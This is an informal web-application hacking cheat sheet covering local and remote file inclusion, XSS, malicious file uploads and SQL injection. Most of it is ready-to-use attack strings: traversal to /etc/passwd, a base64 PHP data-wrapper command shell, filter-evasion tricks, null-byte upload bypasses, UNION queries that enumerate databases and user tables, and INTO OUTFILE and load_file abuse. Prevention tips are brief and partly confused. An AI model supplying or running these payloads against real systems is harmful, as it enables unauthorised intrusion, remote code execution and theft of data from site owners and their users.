**WEB APP HACKSHEET BY LIV**

**LFI - LOCAL FILE INCLUSION**

**First Try -**

?page=/../../../../../etc/passw OR [file:///etc/passw](file://\etc\passw) OR php://filter/resource=/etc/passwd

**Second Try -**

/proc/self/environ

IF SUCCESS - USER AGENT EXPLOIT WITH ADD-ON OR COOKIES - PHP SCRIPT - SHELL ACCESS

**PHP WRAPPER INPUT -**

data:;base64,<?system($\_GET['x']]);?>&x=ls

PHP WRAPPER ENCODED BASE 64 =

data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXV0pOz8+&x=ls

**LFI PREVENTION** **:** WHITELIST/BLACKLIST CAN BE BYPASSED - SEPERATE CODE FROM DATA (?,?,?) IN SQL - LESS USER INPUTS

**Vulnerable code to LFI - include('files/' . $\_GET['page']);**

**RFI - REMOTE FILE INCLUSION**

Try injecting into url some external websites.

SHELL ACCESS - R57 / C99

**SOME DEFENSES YOU CAN BYPASS -**

**include($\_GET['page'].'.php');**

BYPASS:

add ? or %23 (#) or %00 (NullByteAttack)

**$\_GET['page'] = str\_replace('http','',$\_GET['page']);**

BYPASS:

index.php?page=hthttptp://www.my-domain.com/my-file.txt

**BLOCK http/https/ftp/data proctocol**

BYPASS:

Try every protocol and try HTtp or HttP , hTtp for example

**RFI Prevention** : Make sure this command in the server - register\_globals = Off.

If allow\_url\_include = On and allow\_url\_fopen = On - RFI ENABLED

**Vulnerable code to LFI - include($\_GET['page']);**

**XSS - Cross Site Scripting - REFLECTED OR STORED - BACKEND**

**<script>alert("check")</script>**

Try injecting **<img src='https://i.imgur.com/XX21TKK.png' />** into inputs. If works - inject external website/malicious-file.txt to manipulate

(Opens a JS script do what you want with it)

**Prevention :**

HTTP ONLY COOKIES TO PREVENT COOKIE STEAL - <https://owasp.org/www-community/HttpOnly#Using_PHP_to_set_HttpOnly>

HTMLSPECIALCHARS() - <https://www.php.net/manual/en/function.htmlspecialchars.php>

Filter every input - INPUT VALIDATION ON EVERYTHING

**DOM XSS - Document Object Module - FRONTEND**

**<span onmouseover="alert('you just got DOM-XSSed');">Mouse over me</span>**

Try injecting html into inputs.

**Prevention :** by making sure the input not rendered to html, instead, pasted as text and not as dom objects.

**UPLOADING FILES**

Try uploading a php file, if not, try changing the Content-Type http header with a plugin.

Can also try spoofing file name, or null byting the filename end : image.php%00

**Prevention :** Don't give execute permissions, only read & write (chmod()), do it on all files in upload folder.

**SQL INJECTIONS**

**INPUT -**

Try injecting by closing the statement with ' then writing any sql code you want :

For example - **blah' or 'x'='x** in password.

**Prevention : Use mysqli\_real\_escape\_string() or prepared statements**

**UNION INJECTION IN URL - order by, to get how many colums there are in the db in users table.**

/profile.php?id=1 **order by (some number untill you get an error)**

**CHECK IF THERE IS AN SQL INJECTION BY GETTING VERSION OF THE MYSQL DB -**

/profile.php?id=-1 **AND 1=2' UNION SELECT 'x',version(),'z'-- spacebar+ '**

**GET DB NAME -**

/profile.php?id=-1 **UNION SELECT 'x',database(),'z'**

**GET ALL TABLES FROM A SPECIFIC DB -**

/profile.php?id=-1 **UNION SELECT 1,group\_concat(table\_name),3 FROM information\_schema.tables WHERE table\_schema='sqli\_lab'**

**GET ALL COLUMNS FROM A SPECIFIC TABLE -**

/profile.php?id=-1 **UNION SELECT 1,group\_concat(column\_name),3 FROM information\_schema.columns WHERE table\_schema='sqli\_lab' AND table\_name='users'**

**BLIND SQL**

**URL**

Try Injecting **-1 UNION SELECT 1,2,3** IF TRUE >>

Try Injecting **-1 UNION SELECT 1,2,3 FROM admins/tbl\_users/users/usernames/passwords** IF TRUE TABLE EXISTS>>

Try Injecting **-1 UNION SELECT 1,username,3 FROM users**

**-1 UNION SELECT 1,user\_name,3 FROM users**

**-1 UNION SELECT 1,user,3 FROM users** IF TRUE COLUMN EXISTS >>

**ERROR BASED SQL**

**URL**

Try Injecting **1 and extractvalue('lol',concat(':',database()));**

**FILE UPLOAD SQL**

**select 1,user(),3**

**union select 1,file\_priv,3 from mysql.user where User='the\_username'** >> IF Y >> THERE ARE WRITE INTOFILE PERMISSIONS

**Get full path of the website from php errors and :**

**SELECT '<?php echo "top kek"; ?>' INTO OUTFILE '/home/zix/funny.php'**

**union select 1,load\_file('/etc/passwd'),3**